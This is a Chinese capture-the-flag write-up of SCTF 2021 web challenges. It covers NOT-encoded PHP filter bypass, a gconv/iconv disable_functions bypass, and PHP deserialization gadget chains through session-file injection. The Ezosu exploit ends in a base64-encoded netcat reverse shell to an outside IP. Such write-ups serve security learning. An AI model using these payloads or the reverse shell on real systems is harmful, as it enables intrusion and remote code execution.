SCTF复现

当时那段时间一直在复习就没怎么打比赛,现在放假终于是有时间来复现一些题目,学新的东西了。

Rceme

参考的一些文章

http://naman.club/index.php/2022/01/11/sctf2021-web/

https://eastjun.top/2021/10/20/bypass_disable_function/

https://mochazz.github.io/2019/01/12/create_function%E5%87%BD%E6%95%B0%E5%A6%82%E4%BD%95%E5%AE%9E%E7%8E%B0RCE/

源码直接给出来了,看到eval应该要执行命令,但有过滤。preg_match先是过滤了一堆可用得字符,异或,字母,数字等都被过滤了。学习了下wp发现是可以利用取反来构造需要得函数,这是第一步。但进入界面还能看到disable_functions基本上全都被禁用了,所以后面还需要绕过disable_functions才行。

首先看第一个过滤preg_match,基本过滤了字符数字,还有一些符号等。

1
preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)

第二个正则是一个递归正则(递归正则可以看看https://www.cnblogs.com/f-ck-need-u/p/11344531.html),这里的递归正则有两种匹配方式,

第一种类似于这种code=[~%00]([~%00]());是在递归匹配(?R)?中的?选择进行了1次,第二种类似于code=[~%00]();是在递归匹配(?R)?中的?选择进行了0次。当然这里也替换掉了除\s ()外的东西。

1
';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)

不管是异或,取反,或,就是利用一些非字符数字单双引号等这些有用可见的其他字符,通过数学操作能够转换成另一种等价的表现形式,但是这种形式的值对应一些有用的字符。例如说异或

1
2
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
// ${_GET}{%ff}();&%ff=phpinfo

取反就更简单,例如

在这里插入图片描述

学习完一些东西,就开始做题。这里用取反构造一条链子create_function(...unserialize(end(getallheaders))) 其中...是利用可变长度参数来传参.

写个脚本构造payload,!%FF就是0,~%CF也可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding: utf-8 -*-
from urllib.parse import urlencode, quote
import requests

def NOT_chain(chain):
j = ""
for i in chain:
j += "%" + str(hex(255 - ord(i)))[2:]
return j
def make_chain(chains):
result = ""
for chain in chains:
if "%d1%d1%d1" in NOT_chain(chain):
result += "...[~" + NOT_chain(chain).replace("%d1%d1%d1","") + "][!%FF]("
else:
result += "[~" + NOT_chain(chain) + "][!%FF]("
result = result +"))));"
return result
if __name__ == '__main__':
input = "call_user_func(...unserialize(end(getallheaders)))"
chains = input.strip(')').split('(')
# print(make_chain(chains))
#[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));

抓包发送请求

在这里插入图片描述

第二部分就是利用原生类写文件,iconv方bypass式绕过函数限制,原理网上也很多

可以利用FilesystemIterator类读文件,根目录不可读

在这里插入图片描述

接着开始绕过disable_function,利用SplFileObject写文件,一些post内容

1
2
3
4
5
6
7
8
cmd=[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&11=$file = new SplFileObject("/tmp/gconv-modules", 'w+');$file->fwrite("module  EXP//    INTERNAL    ../../../../../../../../tmp/exp    2
module INTERNAL EXP// ../../../../../../../../tmp/exp 2");


写入so文件时也就是用伪协议传base64解码太长了不贴了。

#触发
cmd=[~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c][!%FF](...[~%8a%91%8c%9a%8d%96%9e%93%96%85%9a][!%FF]([~%9a%91%9b][!%FF]([~%98%9a%8b%9e%93%93%97%9a%9e%9b%9a%8d%8c][!%FF]())));&11=putenv("GCONV_PATH=/tmp/");$c=new SplFileObject('php://filter/convert.iconv.payload.UTF-8/resource=data://text/plain;base64,MQ==');show_source("/tmp/flag");

在这里插入图片描述

关于一些绕过还有很多方式

https://www.hetianlab.com/specialized/20201124173456

https://blog.csdn.net/mochu7777777/article/details/104631142

Upload_it

非预期解

审计一下index.php可以发现 $upload_file_path = $_SESSION["upload_path"]."/".$_POST['path'];进行了字符串拼接,并且这里的$_SESSION["upload_path"]是可控的,所以联想到触发toString()函数,全局搜索一下发现可利用点

在这里插入图片描述

写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
namespace Symfony\Component\String {
class LazyString {
private $value;
public function __construct() {
include "../vendor/opis/closure/autoload.php";
$x = function () {
eval($_POST['cmd']);
};
$x = \Opis\Closure\serialize($x);
$this->value = unserialize($x);
}
}
}
namespace {
$a = new \Symfony\Component\String\LazyString();
$s = session_start();
echo session_id();
$_SESSION['upload_path'] = $a;
}

?>

上传本地运行后获取的session文件,覆盖服务器上的session文件

在这里插入图片描述

再次访问时,会读取我们覆盖的session文件,并且触发发序列化,因为session文件序列化写进去,一定会反序列化读出来的。然后即可执行命令

在这里插入图片描述

天枢的非预期

这个非预期真是太细了,Sndav👴真是太牛了。拿这个exp动调了一下,开始没看懂什么意思。

1
2
3
4
5
6
7
8
9
10
<?php
include_once "../vendor/autoload.php";
use Opis\Closure\SerializableClosure;
session_start();
$closure = function(){
echo 123123;
};
// phpinfo();
$closure = new SerializableClosure($closure);
$_SESSION['a'] = $closure;

可以看到走到$_SESSION['a'] = $closure;时调用serialize函数,其中有一个'function'

在这里插入图片描述

我们需要将源码改为

在这里插入图片描述

然后该下exp再动调

1
2
3
4
5
6
7
8
9
10
11
<?php
include_once "../vendor/autoload.php";
use Opis\Closure\SerializableClosure;
session_start();
$closure = function(){
echo 123123;
};
// phpinfo();
$closure = new SerializableClosure($closure);
$x = Opis\Closure\serialize($closure);
unserialize($x);

当走到 $data = \serialize($data);这一步时,就是返回上面说的$ret变量

image-20220117001609023

这时可以发现它序列化后的数据中间有我们的执行函数了。

在这里插入图片描述

unserialize中,走到这一步就会执行命令

在这里插入图片描述

后面的做法也是覆盖原session文件

预期解

预期解感觉…怎么说呢不太能理解,不知道这个序列化的地方在哪,需要传什么上去。要是覆盖session的话,那也是触发反序列化,还是说后面还会再学序列化。exp也没看懂最后b64一下是在干啥。

Upload_it2

和上面差不多。这里用[$san, 'backdoor']()调用了函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

namespace Symfony\Component\String {
class LazyString {
private $value;
public function __construct($x) {
$this->value = $x;
}
}
}
namespace {
// use Symfony\Component\String;
class sandbox {
public $evil;
public function __construct($x) {
$this->evil = $x;
}
}
$san = new sandbox('/flag');
$a = new Symfony\Component\String\LazyString([$san, 'backdoor']);
session_start();
echo session_id();
$_SESSION['upload_path'] = $a;
}

Ezosu

题目给了附件是能够在本地搭环境的,将docker里面文件打包出来审计。关键的函数,简单的以|为分割键名和键值,所以这里我们在键名里面插入恶意反序列数据,就能造成逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
class PhpSession implements IFormat
{
/**
* {@inheritDoc}
*/
public function encode($data): string
{
$result = '';
foreach ($data as $k => $v)
{
$result .= $k . '|' . serialize($v);
}

return $result;
}

/**
* {@inheritDoc}
*/
public function decode(string $data)
{
$result = [];
$offset = 0;
$length = \strlen($data);
while ($offset < $length)
{
if (!strstr(substr($data, $offset), '|'))
{
return [];
}
$pos = strpos($data, '|', $offset);
$num = $pos - $offset;
$varname = substr($data, $offset, $num);
$offset += $num + 1;
$dataItem = unserialize(substr($data, $offset));
$result[$varname] = $dataItem;
$offset += \strlen(serialize($dataItem));
}

return $result;
}
}

例如我们插入的数据,从结果上看明显反序列化出来了我们的[]

在这里插入图片描述

接下来就是找链子,最开始我想的是这不就直接LazyString中触发toString,参数赋值一个闭包函数。后来一直没通,发现我是憨批,它这里不和上面文件上传那个一样,因为上面的实现了对于闭包函数的序列化,这里无法对闭包函数进行序列化,所以无法将参数初始化。最终exp(这里还有个坑就是它是sh命令的架构,不能用bash反弹shell):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace PhpOption{
abstract class Option{

}
final class LazyOption extends Option{
private $callback;
private $arguments;
private $option = null;
public function __construct()
{
$this->arguments = array("echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMzkuMTA3LjIzOS4zMCAyMzMzID4vdG1wL2YK | base64 -d|sh");
$this->callback = "system";
}
}
}
namespace Symfony\Component\String {
use PhpOption\LazyOption;
class LazyString {
public $value;
public function __construct() {
$this->value = array(new LazyOption(),"get");
}
}
}
namespace {
$a = new Symfony\Component\String\LazyString();
$p = serialize($a);
$payload = array("e"=>"b","c|".$p."a"=>"a");
// var_dump($payload)."\n";
echo json_encode($payload);
}

?>

在这里插入图片描述


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!